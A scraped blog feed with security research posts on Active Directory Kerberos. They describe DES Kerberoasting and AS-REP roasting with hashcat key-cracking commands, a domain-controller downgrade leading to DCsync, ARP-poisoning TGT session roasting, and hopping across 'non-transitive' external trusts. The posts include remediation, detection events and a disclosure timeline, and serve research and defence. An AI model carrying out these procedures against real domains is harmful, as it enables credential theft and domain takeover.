❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayeXploit

DES Is Useful... Sometimes

By: 0xe7
8 August 2023 at 22:39

Data Encryption Standard (DES) is a symmetric-key block cypher algorithm created in the 1970’s and was historically used within Active Directory (AD) environments to secure data. Most notably, DES was used as an encryption type for Kerberos tickets, although on modern environments it is disabled by default. This tweet by Steve Syfuhs mentions that DES is uninteresting and β€œoff by default” but that got me thinking, what is involved in re-enabling it?

In this research, I’ll describe exactly how DES can be re-enabled and when it is enabled, how to use DES to takeover any AD account that isn’t krbtgt or a trust account.

Domain Controller Configuration

The main configuration required for DES to be enabled for Kerberos on a domain is at the domain controller’s level. The following GPO setting can be used to configure which encryption algorithms are supported by the DC’s, when it is applied to DC’s:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos

Figure 1: Kerberos Encryption Types GPO Setting

Ultimately this sets the following registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes

Figure 2: Kerberos Encryption Types Registry Setting

This is a bitfield where 2 represents DES-CBC-MD5. This means that the GPO setting does not need to be set for DES to be supported, this registry key only requires the bit that represent β€˜2’ to be set on 1 domain controller on the domain.

The best way I’ve found to test this without the ability to query the registry for each DC is to request a TGT with a DES session key. I have modified Rubeus, which now includes the /suppenctype argument to asktgt, to make it easy to request TGT’s this way:

Figure 3: Requesting a TGT with a DES session key

Even though the TGT is encrypted with the krbtgt AES256 key, the session key is DES-CBC-MD5. It is important to note that this is possible to perform with any account without requiring any changes to the account. As shown below, there is no indication that the account supports DES in any way:

Figure 4: Account Supported Encryption Types and UAC

If the DC does not support DES-CBC-MD5, a KDC_ERR_ETYPE_NOTSUPP error is returned:

Figure 5: DES Unsupported

Cracking DES Tickets (Kerberoasting)

After understanding how DES could be enabled and how to tell if it was enabled, the next step was to understand exactly how to exploit this configuration.

The simplest example is when a service account is already configured for DES, this means has an SPN (service account) and has the useraccountcontrol (UAC) setting USE_DES_KEY_ONLY set:

Figure 6: Service account configured for DES

This makes it possible to request a service ticket (ST) for the service user des that is encrypted using DES:

Figure 7: Request DES encrypted service ticket

While the β€œKeyType” shown here is the session key type, which can be different to the encryption type of the ticket, the following wireshark output shows that the ticket is in fact encrypted using DES:

Figure 8: DES encrypted service ticket

Now the question was how can this be cracked? And more importantly, can the key be brute forced rather than cracking back to the plain text password? The reason this second question is more important is because if this is possible it would mean that any key can be recovered, even that of machine accounts.

To help figure out how to do this, I asked my friend Spiros Fraganastasis for help and he asked Sam Croley. Sam realised that if we knew the first block (8 bytes) of plain text, we could form a hash that would be crackable using hashcat’s mode 14000.

To form the hash, we need the initialization vector (IV), first block of cypher and first block of plain text. The IV is stored as the first 8 bytes of the cypher (after the checksum), the first block of cypher is the following 8 bytes after the IV. So, the only thing left to determine was the first block of plain text.

Dumping the decrypted enc-part for several tickets at first showed the same first block, but after more testing it was clear that this was changing a little:

Figure 9: Decrypted enc-part

Looking at this in an Asn.1 viewer it’s clear that the first 4 bytes are the header for the outer most tag, which contains the length of the data inside it (essentially the full length of the decrypted enc-part minus the length of the header (4 bytes)):

Figure 10: Application Asn.1 Tag

Similarly, the next 4 bytes is the header for a Sequence tag which contains the rest of the actual data and contains a length which is 4 bytes less than the previous length (length of the header less):

Figure 11: Sequence Asn.1 Tag

At first, I thought I could predict these values from having only the cypher, this is because the length of the plain text is always 24 bytes less than the full length of the cypher. The problem with this is after some testing, the full length of the plain text often differed from the full length of the actual data. This is because with DES the data is padded to ensure 8 byte blocks, so the plain text often had some junk padding at the end, which couldn’t be determined just from the cypher.

What I needed was a way to know with as close to 100% certainty what this first block is. After looking at the plain text again, I realised there are 3 sections which can vary in length:

Figure 12: Full enc-part Asn.1

These sections, from top to bottom, are the session key, client username (cname) and the PAC.

The session key type is determined, in large part, by the supported etypes supplied within the req-body of the request (controlled by the user requesting the ticket), the client username is determined by the TGT used to request the ticket. All that is left is the PAC, most of which is determined by the client user attributes within the AD database, the only exception is the server checksum, whose length is determined by the encryption type of the ticket (AES results in a 12 byte checksum, DES/RC4 results in a 16 byte checksum).

With all of this in mind, I realised it was possible to request a user-to-user (U2U) ticket which would match all of these requirements and result in a ticket that I could decrypt to get the first block of plain text. The session key as previously mentioned is determined by the supported etypes within the req-body of the request. The client user will be the user within the ticket granting ticket (TGT) which will be the same for the U2U request as for the service ticket request, meaning the cname along with most of the PAC will be the same (providing nothing changes for that user within AD between when the U2U ticket is requested and the DES encrypted ST is requested). And the U2U ticket encryption type (and ultimately the server checksum length within the PAC) is determined by the TGT session key, controllable when requesting the TGT.

After modifying Rubeus to return the first block of plain text when a ticket is decrypted within the DisplayTicket function, which is run when requesting a U2U ticket by default with Rubeus, we can see the plain text within the output:

Figure 13: Request U2U ticket to get plain text of first block

With knowledge of the plain text, it was now possible to form a crackable hash to brute force the DES key. This is done as follows:

CYPHER:(PLAINTEXT XOR IV)

So, imagine we have the following:

  • IV: D98C3338A9CB3626
  • CYPHER: 6C25DDEE294588FD
  • PLAINTEXT: 638203F8308203F4

We XOR the PLAINTEXT and IV, resulting in: BA0E30C0994935D2, and we end up with the following hash:

6C25DDEE294588FD:BA0E30C0994935D2

I’ve automated this into Rubeus’ describe command with the newly implemented /desplaintext argument, supplying the plain text we received from the U2U request along with the ST we requested earlier, we get back a crackable hash:

Figure 14: Rubeus describe returns crackable DES hash

Using this hash, the DES key used for encryption can be brute forced using the following hashcat command:

hashcat -a 3 -m 14000 A2CCBE7DA8A76607:94D29CF55C02153B -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 15: Crack DES key

It’s worth noting 2 things here:

  1. For the DES key cracking in this post, I’ve put the first byte in manually to reduce the cracking time length, this is because I do not have access to a powerful cracking rig to demonstrate in the post.
  2. Due to DES having a parity bit at the end of each byte, there are 16 possible usable keys, the cracking will stop when it finds the first usable key, which may not be exactly the same as the key within the AD database but will work none-the-less.

This key can then be used to request a TGT as the service user:

Figure 16: Request TGT using DES

For the sake of completion, it should be clear that with write access to an account it would be possible to perform targeted DES Kerberoasting of the account (user or computer, due to brute forcing of the key) similar to Will Schroeder’s targeted Kerberoasting with the addition of modifying the accounts UAC bit USE_DES_KEY_ONLY to allow for retrieving the DES encrypted ST as well as authenticating using the DES key, of course this bit can be removed in between these actions to cause as little disruption as possible.

It is also worth noting that once the TGT has been retrieved, the USE_DES_KEY_ONLY UAC bit can be switched off:

Figure 17: USE_DES_KEY_ONLY disabled

Even with the USE_DES_KEY_ONLY bit off, the TGT retrieved using the DES key is still usable for its lifetime:

Figure 18: Use TGT retrieved using DES key

This means the USE_DES_KEY_ONLY bit can be on for a minimum amount of time for during a targeted account hijack to make risk of detection as low as possible.

Destroying DCs

As this method of Kerberoasting allows for the recovery of any account key due to a full address space brute forcing being possible, there are 3 types of accounts for which DES encrypted ST’s cannot be retrieved, even with the USE_DES_KEY_ONLY UAC bit set. These are the krbtgt account, trust accounts (INTERDOMAIN_TRUST_ACCOUNT) and DC accounts (SERVER_TRUST_ACCOUNT).

For science, I decided to see what could be done when write access to a DC is possible, partly because this is a semi-common situation where unprivileged users are joining the servers to the domain before a domain administrator (DA) promotes it to a DC, leaving the unprivileged user as the CREATOR OWNER.

I do not advise performing this attack on a live environment as the potential to cause disruption to the infrastructure is real, but it is, however, an interesting attack path.

So, in this example, the user one has GenericWrite over the DC DC2:

Figure 19: GenericWrite permission

While GenericWrite was chosen for ease of demonstration, this will also all work with CREATOR OWNER.

For this to be a useful attack path, it is assumed all the admin accounts are protected from delegation, as shown below:

Figure 20: Administrator marked as β€œSensitive and cannot be delegated”

If this was not the case, it would be possible to use Resource-Based Constrained Delegation (RBCD) to escalate. It is also assumed that PKINIT is not configured, otherwise shadow credentials could be used to escalate.

Initially the DC2 accounts UAC value is usual for a DC:

Figure 21: DC2 UAC value

Enabling the USE_DES_KEY_ONLY UAC bit:

Figure 22: Enable DES for DC2

It can be demonstrated that a DES encrypted ST cannot be requested:

Figure 23: ETYPE_NOTSUPP error

So, to exploit this SERVER_TRUST_ACCOUNT (8192) needs to be changed to WORKSTATION_TRUST_ACCOUNT (4096), to do this the UAC field can be XOR’d with 12288:

Figure 24: Downgrade DC from SERVER_WORKSTATION_ACCOUNT to WORKSTATION_TRUST_ACCOUNT

Now that the DC2 account has been downgraded to a normal workstation account, it is possible to request a DES encrypted ST:

Figure 25: Request DES encrypted ST for DC account

Request a U2U ticket to get the valid plain text of the first block (as described previously):

Figure 26: Request U2U ticket to get plain text of first block

Use Rubeus’ describe, with the /desplaintext to get the crackable DES hash:

Figure 27: Rubeus describe returns crackable DES hash

As with the user hash in the previous example, this hash can be used to brute force the DES key for the DC2 account using the following hashcat command:

hashcat -a 3 -m 14000 31812F50B7AC7122:41299994A5D5ADB3 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 28: Brute forcing DES key

Using this DES key, a TGT can be requested for the DC2 account:

Figure 29: Request TGT for DC2 account

Now a TGT has been retrieved, DES needs to be disabled again:

Figure 30: Disable DES on the DC2 account

The DC2 account also needs to be escalated back to a SERVER_TRUST_ACCOUNT, unfortunately while this level of access grants the ability to downgrade from SERVER_TRUST_ACCOUNT to WORKSTATION_TRUST_ACCOUNT, it does not allow for the reverse:

Figure 31: Fail to escalate DC2 account

Escalation within the domain is required to escalate the DC2 account back to a SERVER_TRUST_ACCOUNT. This can be done by requesting a S4U2self ticket for DC2 as an administrative user (Administrator in this case):

Figure 32: S4U2self ticket for Administrator to DC2

This ticket can be used with impacket to DCsync the AES key for the Administrator from DC2:

Figure 33: DCsync Administrator AES key

This key can be used to request a TGT as the Administrator user:

Figure 34: Request Administrator TGT

Finally, the DC2 account can be escalated back to a SERVER_TRUST_ACCOUNT:

Figure 35: Escalate DC2 account

Again, I’d like to reiterate, I do not advise performing this attack path on a live environment. There is a LOT of room for real disruption.

DES In The Middle (TGT Session Roasting)

Anyone that was paying attention earlier and understood my previous research on AS-REQ ST’s may realise that there is another potential abuse here. In my previous post, in the section called β€œProof of concept: RoastInTheMiddle” I demonstrate that it is possible to capture, modify and replay AS-REQ’s. In the section β€œDomain Controller Configuration” above, I showed that it is possible to request a TGT with a DES session key providing the DC supports DES and without changing the account in any way to support DES. This is done by only including the DES-CBC-MD5 etype within the req-body inside the AS-REQ.

This means if a valid AS-REQ with pre authentication can be captured, it could be modified to only include the DES-CBC-MD5 etype, replayed to a DC supporting DES which will result in a TGT with a DES session key being returned. All that is required to use this TGT is the session key. As the key used to encrypt the pre authentication data is unknown, it is not possible to decrypt the enc-part of the AS-REP to retrieve the session key and use the TGT immediately, it is possible however to request an ST that is encrypted with the TGT session key, using U2U. This is done by providing a TGT for an account for which credentials have been obtained and providing the TGT with a DES session key as the additional ticket. This will result in a ST encrypted with the DES session key but for the user of the account for which credentials have been obtained.

For example, User1’s credentials are known.

  1. Request a valid TGT for User1.
  2. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block.
  3. Man-in-the-Middle (MitM) is performed.
  4. AS-REQ for Computer1 is captured.
  5. AS-REQ modified to only include the DES-CBC-MD5 etype.
  6. Forward AS-REQ to a DC that supports DES.
  7. Extract TGT for Computer1 from AS-REP.
  8. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key.
  9. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key.
  10. Create KERB_CRED from Computer1’s TGT and known information, missing the session key.
  11. Crack the DES hash back to the TGT session key.
  12. Insert the TGT session key into the KERB_CRED.
  13. Use the TGT to authenticate as Computer1.

I modified my RoastInTheMiddle tool to perform steps 2-10 automatically:

Figure 36: RoastInTheMiddle session roasting

RoastInTheMiddle performs an ARP poison MitM of 192.168.74.13 and takes a TGT using the /tgt argument, this can be a valid TGT for any account. What it does next is shown in the following wireshark output:

Figure 37: RoastInTheMiddle wireshark output

So here, the first 2 (TGS-REQ/TGS-REP) is the initial U2U using the TGT passed in as the /tgt argument to retrieve the plaintext (displayed in the output with the line β€œGot usable known plain text:”).

The next 4 is a genuine authentication of the DSP computer account, normally Windows sends an AS-REQ without pre authentication first, this is to retrieve the correct salt for the key. These are passed along to the DC (192.168.74.11) as usual to avoid interrupting the authentication, but the AS-REQ that contains pre authentication is stored (this is shown in the output on the line that says β€œGot AS-REQ for user [email protected] to service krbtgt/DES.LAB”).

The last AS-REQ/AS-REP is the modified AS-REQ, containing only the DES-CBC-MD5 etype, being sent to a DC (192.168.74.12) and the TGT being sent back.

Lastly the U2U request is sent using the TGT passed in as the /tgt argument as the authentication ticket and the TGT retrieved in the previous step as the additional ticket is sent which results in the DC (192.168.74.12) sending back an ST encrypted with the session key of the DSP computer accounts TGT.

In the RoastInTheMiddle output above, the DES hash for the TGT session key is printed along with the KERB_CRED containing the DSP computer accounts TGT without the session key (making it currently unusable).

The next step is cracking the DES hash of the TGT session key, it is important however that this key is cracked within the lifetime of the TGT (by default 10 hours), otherwise the TGT will be unusable anyway, the following hashcat command was used for this:

hashcat -a 3 -m 14000 EF746FE49C358B28:DF4C43FC01762CA3 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 38: TGT session key recovered

Now the session key needs to be inserted into the KERB_CRED output by RoastInTheMiddle earlier, for this I added a kirbi command to Rubeus, this command can eventually be used to manipulate KERB_CRED’s further but for now it just supports modifying/inserting a session key with the /sessionkey and /sessionetype arguments:

Figure 39: Insert session key into KERB_CRED

Lastly, this TGT can now be used to authenticate as the DSP machine account and retrieve ST’s:

Figure 40: Use TGT to request ST

DES AS-REP Roasting

Some of you may be asking β€œwhat about AS-REP Roasting?” and after essentially writing this whole post, that was the same question that I asked myself. If β€œAS-REP Roasting” is new to you, check out Will’s post on the topic, as I won’t be going over all of the details here.

The first step was to see if a TGT could be requested without pre authentication using the DES key:

Figure 41: Request TGT without preauth using DES key

The last thing needed is to know the first block of plain text of the enc-part within the AS-REP, the decrypted enc-part is shown below, with the first block highlighted:

Figure 42: Decrypted AS-REP enc-part

The first block this time consists of the first 3 tag headers:

Figure 43: First 3 Asn.1 Tags

Let’s look first at the third tag here (CONTEXT SPECIFIC) which is the last 2 bytes of the plain text (A0 13):

Figure 44: Context Specific Tag

Here it’s clear that A0 is the tag number for CONTEXT SPECIFIC and 13 (or 19 in decimal) is the length. This tag contains only the session key, which will always be DES-CBC-MD5, so the length will always be the same. This means the last 2 bytes of plain text will always be A0 13.

The first 3 bytes of plain text (79 81 CF) is the APPLICATION tag:

Figure 45: Application Tag

Here CF is the length of 207 which is the whole enc-part of the AS-REQ. Lastly, there is the next 3 bytes (30 81 CC), which is the SEQUENCE tag:

Figure 46: Sequence Tag

Here the length (CC or 204) is the length in the APPLICATION tag (207) minus 3 (the length of the tag header). So, the only problem with being able to predict the plain text for the first block of the enc-part of an AS-REP is the ability to predict the length of the APPLICATION tag. To see how this may be possible, let’s look at the whole enc-part:

Figure 47: AS-REP enc-part

Looking at the Asn.1 above, it’s clear that the only elements that will vary in length is the srealm and realm within the sname, everything else should remain a fixed length. With this in mind, it should be relatively easy to calculate the correct length.

The domain name used in this example is β€œdes.lab” which is 7 characters, this means the domain name takes up 14 bytes of the enc-part. The APPLICATION tag is 207 bytes, so:

207 – 14 = 193 bytes

To request a TGT without pre authentication, the domain name has to be known, so by doing the following, the proper length of the APPLICATION tag can be calculated:

193 + (length of domain name * 2)

Then to get the length of the SEQUENCE tag, just minus 3.

Using this method, I modified Rubeus’ asreproast command to support roasting DES enabled accounts when /aes isn’t passed:

Figure 48: AS-REP Roasting using LDAP

It is also possible to manually specify the account, rather than searching LDAP and requires including the /des switch:

Figure 49: AS-REP Roast without LDAP

It’s worth noting here that /format:hashcat is required because john the ripper doesn’t support cracking this type of hash. Using the following hashcat command, it is possible to crack this hash back to the account long term DES key:

hashcat -a 3 -m 14000 3DE9FBEA34F9851B:5B1E49C5BD8A76DF -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 50: DES key cracked

This key can then be used to request a usable TGT:

Figure 51: Request TGT

Remediation/Detection

The best option to avoid these issues is to ensure that all DC’s have DES disabled in the relevant registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes

The bit that represents β€˜2’ has to be off. If this is the case, no DES attacks are possible on the domain.

Windows events can also be used to detect attacks that take advantage of DES encryption. The 4769 event can detect Kerberoast attacks that request DES ST’s:

Figure 52: 4769 requesting DES ticket

The 4768 event can be used to detect both the TGT session roasting MitM as well as the AS-REP roasting attacks:

Figure 53: 4768 requesting DES encryption

Conclusion

While DES is disabled by default in AD, it is still very easy to enable and when enabled puts the whole AD infrastructure at much higher risk. It should, therefore, be of utmost importance for sysadmins to ensure that DES is fully disabled on all DCs, as only a single DC supporting DES is all that is required to enable all of these attacks.

External Trusts Are Evil

By: 0xe7
14 March 2023 at 16:28

This post is duel posted on the Semperis blog.

Another day, another β€œby design” but clearly unintended Windows AD feature. While playing with Kerberos tickets I discovered an issue that allowed me to authenticate to other domains within a forest across external non-transitive trusts. This means that there is in fact no such thing as a β€œnon-transitive trust”, and the description as such when creating a trust is at best misleading, leaving systems administrators with a false sense of security. After reporting this issue to Microsoft, I received the following response:

Figure 1: MSRC Response

This post details the issue discovered but as Microsoft do not feel that it affects security and as a result are not planning on fixing this issue, there is no way to avoid what is being described within this post apart from not using external trusts at all.

Trusts and Transitivity

Will Schroeder published a great post on trusts back in 2017. If you are not too familiar with the different trusts and how they work, I highly recommend reading that first as I will not be going into as much detail on the various types. For this post, I will not be discussing intra-forest trusts (trusts within a single forest) other than as they apply to the specific attack path that I am going to discuss. I also will not be discussing selective authentication trusts, but I have never actually seen these in real environments. The remaining trusts are forest trusts and external trusts. Forest trusts are trusts between two forests; or more accurately a transitive trust between the root domains of two forests, which means any user from any domain within the trusted forest can authenticate to any domain within the trusting forest. External trusts, on the other hand, are trusts between two domains and are described as being β€œnon-transitive”, which should mean that only users within the trusted domain can authenticate against only the trusting domain.

Figure 2: External Non-Transitive Trust

Other technical differences are present between forest and external trusts, but these will be discussed if and when required for this post.

Microsoft describes trust transitivity as follows:

Transitivity determines whether a trust can be extended outside of the two domains with which it was formed.

  • A transitive trust can be used to extend trust relationships with other domains.
  • A non-transitive trust can be used to deny trust relationships with other domains.

This description is very clear. For non-transitive trusts, only the two domains involved in the trust can authenticate to each other and not beyond. As I will demonstrate in this post, this is not the case.

Lab Setup

To properly demonstrate this issue, several multi-domain forests are required with external trusts between them. I have setup the lab as follows:

Figure 3: Lab Setup

This setup involves three (3) forests, two (2) of which have three (3) domains and the other containing two (2) domains. The domains semperis.lab and treetest.lab have a bidirectional non-transitive external trust:

Figure 4: External Trust 1

The domains grandchild1.child1.semperis.lab and semperisaz.lab also have a bidirectional non-transitive external trust:

Figure 5: External Trust 2

This should make it possible to demonstrate the implications and limitations of this issue.

How Kerberos Cross-Trust Authentication Works

The main thing that is required to authenticate to a service across a trust using Kerberos is a referral (or referral TGT). This is a ticket requested from your local domain controller (DC) for the foreign domain. This section assumes a basic understanding of how the normal Kerberos authentication flow works, for a detailed explanation of that check out Sean Metcalf’s Detecting Kerberoasting Activity post. It would also be advantageous to be reasonably familiar with Rubeus (as I will be using it to request tickets in the remaining sections). This section will focus on the semperis.lab forest which is sufficient to demonstrate how ticket requests across trusts are performed, the information here is, however, applicable to any β€œallowed” trust path.

The simplest example of cross-trust authentication is to authenticate to a service on a domain which has a direct trust with the local domain. The trust that the domain grandchild1.child1.semperis.lab has with child1.semperis.lab, shown in Figure 5 above, is an example of this. In this situation, the first step, after obtaining the initial TGT, in obtaining a service ticket for an account in grandchild1.child1.semperis.lab to a service in child1.semperis.lab is to obtain a referral for child1.semperis.lab:

Figure 6: Referral Request For child1.semperis.lab

As shown in Figure 6 above, the request was made to a DC (SGC1DC1.grandchild1.child1.semperis.lab) within the domain (grandchild1.child1.semperis.lab) local to the authenticating user (lowpriv). The request was made for the service krbtgt/child1.semperis.lab and the fact that the ServiceRealm (srealm) is the local domain (grandchild1.child1.semperis.lab) within the resulting ticket, shows that this ticket is a referral. The diagram below shows this:

Figure 7: Referral Request

This referral can now be used to request service tickets (STs) from the foreign domain:

Figure 8: Example Usage of Referral

Here an ST was requested from the foreign DC (SC1DC1.child1.semperis.lab) for the service host/SC1DC1.child1.semperis.lab using the referral retrieved previously.

Figure 9: Requesting ST Using Referral

To take this one step further, if a service on the forest root domain (semperis.lab) is required, a referral for this domain cannot be directly requested from the local (grandchild1.child1.semperis.lab) domain:

Figure 10: Referral Request For semperis.lab

As shown in Figure 10 above, a referral for krbtgt/semperis.lab was requested from the local DC sgc1dc1.grandchild1.child1.semperis.lab. However, the ticket returned by the DC was for the service krbtgt/child1.semperis.lab, meaning that this is a referral for the domain child1.semperis.lab, NOT semperis.lab.

Figure 11: Requesting Referral For semperis.lab

This can be explicitly shown by trying to use this ticket to request a ST for the semperis.lab domain:

Figure 12: Root Domain Service Ticket Request

As shown in Figure 12 above, this results in an AP_ERR_BAD_INTEGRITY error. This is because the referral ticket is encrypted with the trust key for the grandchild1.child1.semperis.lab --> child1.semperis.lab trust. The DCs in the root domain semperis.lab do not have knowledge of this key and so are not able to decrypt the ticket.

Figure 13: Requesting ST From semperis.lab

To request a service ticket for the root domain semperis.lab, first a referral for semperis.lab must be requested from a DC in the domain child1.semperis.lab using this referral:

Figure 14: Referral Request For semperis.lab

Here a request was made to the foreign DC (sc1dc1.child1.semperis.lab) using the referral for the domain child1.semperis.lab to request a further referral for the root domain semperis.lab. It should be noted here that in order to request this ticket, the /targetdomain argument is required. This is because by default Rubeus will use the domain within the ticket passed to it to fill in the domain in the TGS-REQ, in this case that would be grandchild1.child1.semperis.lab and would result in a ERR_WRONG_REALM error as the domain local to the DC is child1.semperis.lab. This will be very important in the next section.

Figure 15: Requesting Referral For semperis.lab

Lastly, this resulting referral for semperis.lab can be used to request STs for the semperis.lab domain:

Figure 16: Service Ticket Request For semperis.lab

This ST request from the user [email protected] made to the DC SDC1.semperis.lab for the SPN host/SDC1.semperis.lab is shown in the following diagram and was successful even though the two domains involved do not have a direct trust due to the trust path being allowed:

Figure 17: ST Request For host/sdc1.semperis.lab

This method of requesting referrals for trusting domains can be followed to request STs for any service within any domain for which the trust path is β€œallowed”.

Making The Non-Transitive Transitive

Now that we understand how authentication across trusts happens, let’s look at how it is possible to traverse external trusts to authenticate to domains that should be prohibited.

As shown in the Figure 3, the domains semperisaz.lab and grandchild1.child1.semperis.lab have a bidirectional external trust, this means that after retrieving a TGT for any account within the domain semperisaz.lab it is possible to request a referral for grandchild1.child1.semperis.lab:

Figure 18: Referral To granchild1.child1.semperis.lab

The diagram showing this request is below:

Figure 19: Request Referral For grandchild1.child1.semperis.lab

This referral can be used to request STs for services on the domain grandchild1.child1.semperis.lab, but if we try to obtain a referral to other domains within the same forest (for example child1.semperis.lab) we get an ERR_PATH_NOT_ACCEPTED error, which is expected:

Figure 20: Path Not Accepted Error

This is because the semperisaz.lab --> granchild1.child1.semperis.lab trust is non-transitive, so the path from semperisaz.lab to child1.semperis.lab is not allowed.

Figure 21: Requesting Referral For child1.semperis.lab

However, we can request a β€œlocal” TGT for grandchild1.child1.semperis.lab:

Figure 22: Requesting β€œlocal” TGT For grandchild1.child1.semperis.lab

I call this a β€œlocal” TGT because unlike the referral, which has a ServiceRealm (srealm) of semperisaz.lab, the ServiceRealm is grandchild1.child1.semperis.lab.

Figure 23: Requesting "local" TGT

Using this β€œlocal” TGT, a referral for child1.semperis.lab can now be requested:

Figure 24: Referral For child1.semperis.lab

This process can be seen in the following diagram:

Figure 25: "local" TGT To Request Referral For child1.semperis.lab

We now have a usable referral which can be used to request STs for child1.semperis.lab using any account from the semperisaz.lab domain and without making any changes to trusts or accounts within AD. This is demonstrated below:

Figure 26: Requesting ST For DC In child1.semperis.lab

In Figure 26, a ST was requested from the DC sc1dc1.child1.semperis.lab for the service host/sc1dc1.child1.semperis.lab as the user [email protected]:

Figure 27: Requesting ST For host/sc1dc1.child1.semperis.lab

Furthermore, this method can be used to hop around any domain within the same forest that grandchild1.child1.sermperis.lab exists in. We can demonstrate this by requesting a referral to the root domain semperis.lab:

Figure 28: Requesting Referral For semperis.lab

A referral was requested for semperis.lab from the DC sc1dc1.child1.semperis.lab as the user [email protected]:

Figure 29: Requesting Referral To semperis.lab

Fortunately for security, hopping across further trusts outside of the forest (external or forest trusts) is not possible using this method. As shown in Figure 3, the root domain semperis.lab has a bidirectional external trust with treetest.lab, this trust can be used to demonstrate that limitation:

Figure 30: Requesting Referral For treetest.lab

This at least stops an attacker using this method of trust hopping from hopping into another forest.

Figure 31: Requesting Referral For treetest.lab

This issue is clearly useful for attackers trying to elevate privileges within a forest from across a trust. Other than being able to query domain information from domains that systems administrators may think would be disallowed (and query more sensitive domains or potentially domains with weaker security), this also makes it possible to perform attacks such as Kerberoasting or NTLM authentication coercion on domains that may seem to be disallowed.

Hopping Further

While it is not possible to hop further using this specific method, I did write a post a while ago about the ability to create machine accounts across trusts and that this may open up new avenues of attack for attackers. This situation is another example of that.

Using the referral retrieved for semperis.lab, it is possible to request a ticket for the LDAP service on a DC in semperis.lab:

Figure 32: Request ST For LDAP

Here a ST for ldap/sdc1.semperis.lab was requested using the referral for semperis.lab as the user [email protected]:

Figure 33: Request ST For ldap/sdc1.semperis.lab

This ST can be injected and used to create a machine account directly in semperis.lab (given the configuration allows Authenticated Users, as is default):

Figure 34: Create Machine Account In semperis.lab

This causes the DC sdc1.semperis.lab to create the machine account TestComp within the semperis.lab domain:

Figure 35: Create Machine Account TestComp

This newly created TestComp machine account is a local account within the domain semperis.lab. Now that we have a machine account that exists within semperis.lab, we can retrieve a TGT for that account:

Figure 36: Machine Account TGT

Requesting the machine account TGT looks as follows:

Figure 37: Requesting TGT For TestComp

This machine account TGT is allowed to request a referral to the trusting domain treetest.lab:

Figure 38: Requesting Referral For treetest.lab

Here the machine account’s TGT was used to request a referral for the treetest.lab domain from the DC SDC1.semperis.lab:

Figure 39: Request Referral For treetest.lab

Lastly, the issue described in this post can again be used to gain access to the inaccessible dsptest.lab domain. First by requesting a β€œlocal” TGT for treetest.lab:

Figure 40: Requesting Local TGT For treetest.lab

The β€œlocal” TGT is requested using the referral for treetest.lab as the account [email protected] from the DC TDC1.treetest.lab:

Figure 41: Requesting "local" TGT For treetest.lab

Then using this β€œlocal” TGT to request a referral for dsptest.lab:

Figure 42: Requesting Referral For dsptest.lab

Here a referral was requested for the domain dsptest.lab from the DC TDC1.treetest.lab as the user [email protected]:

Figure 43: Requesting Referral For dsptest.lab

It should be clear that using the combination of these two methods would make it possible to hop very deep into AD enterprise infrastructures, using any low privileged account on a domain which has an external trust to any domain within a forest.

Detection

Unfortunately, the only way to prevent this attack path is to remove external trusts completely. If this is not possible, detection is possible. The relevant Windows events are 4769’s (A Kerberos service ticket was requested). The first indication is that a β€œlocal” TGT is requested from an account in a different forest:

Figure 44: 4769 For Local TGT

Here the Account Domain field is a domain that belongs to a different forest and the Service Name is krbtgt. This event is followed by another 4769 requesting a referral:

Figure 45: 4769 For Referral

Here the Account Domain is a domain within a different forest and the Service Name is another domain within the local forest.

It is worth noting that these two events can be on different DCs within the same domain, they do not have to reside on the same DC. At this point, any service tickets requested (4769’s) using this referral will have an Account Domain that contains a domain that should not be allowed to authenticate to the local domain.

Plans to consume these events and detect this attack are planned for an upcoming release of Directory Services Protector (DSP).

Conclusion

The biggest problem here is Microsoft’s description of non-transitive trusts being, at best, misleading to systems administrators. This problem is exaggerated by Microsoft’s refusal to accept that this affects security. As it stands, by creating an external β€œnon-transitive” trust, companies must accept that any account within the trusted domain can authenticate against any domain within the whole forest where the trusting domain resides.

As demonstrated above, in the β€œHopping Further” section of this post, this research again highlights the importance of disallowing Authenticated Users from being able to create machine accounts, as not doing so not only puts domains within the forest at a higher risk, but also puts any domains (and the whole forest within which they reside) which have an external trust with any domain within the forest at a higher risk. This is due to the ability to create machine account across trusts, even while using the technique used within this blog post to authenticate against domains which should be disallowed. More information on the machine account quota and how to prevent low privileged machine account creation can be found on Kevin Robertson’s excellent post β€œMachineAccountQuota is USEFUL Sometimes”.

If nothing else, I hope this blog post informs systems administrators of the real forest-wide risk involved in implementing external trusts. Afterall, how can systems administrators be expected to properly secure their environments while thinking authentication is not possible where it actually is.

Timeline

  • 2022/05/04 – MSRC case created.
  • 2022/05/12 – Case status changed to β€œReview/Repro”.
  • 2022/06/17 – Case status changed to β€œDevelop” with email that stated "We confirmed the behavior you reported. We'll continue our investigation and determine how to address this issue."
  • 2022/06/17 – Case status changed to β€œComplete – Resolved”.
  • 2022/08/24 – Comment left on case to find out the status.
  • 2022/09/02 – A follow-up comment left on case to find out the status.
  • 2022/09/14 – A follow-up email sent to find out the status of the case.
  • 2022/09/29 – Email received explaining the issue was not determined to affect security.
  • 2023/03/14 – Public disclosure - Blog post released.

Acknowledgements

Defending the Three Headed Relay

By: 0xe7
9 May 2022 at 22:57

A joint blog written by Andrew Schwartz, Charlie Clark, and Jonny Johnson

Introduction

For the past couple of weeks it has become apparent that Kerberos Relaying has set off to be one of the hottest topics of discussion for the InfoSec community. Although this attack isn’t new and was discovered months ago by James Forshaw, it has recently taken off because a new tool called KrbRelayUp has come to surface that takes James’ work and automates that process for anyone wanting to exploit this activity. This tool however doesn’t only exploit James’ work, but also work from Elad Shamir around S4U2Self/S4U2Proxy, while using code from Rubeus by Will Schroeder. We as a group (Andrew, Charlie, and Jonny) found this interesting as we saw many detections coming out for β€œKerberos Relay” that might not actually detect β€œKerberos Relay” if the action was performed by itself, but more of post-exploitation actions β€” say in the S4U activity.

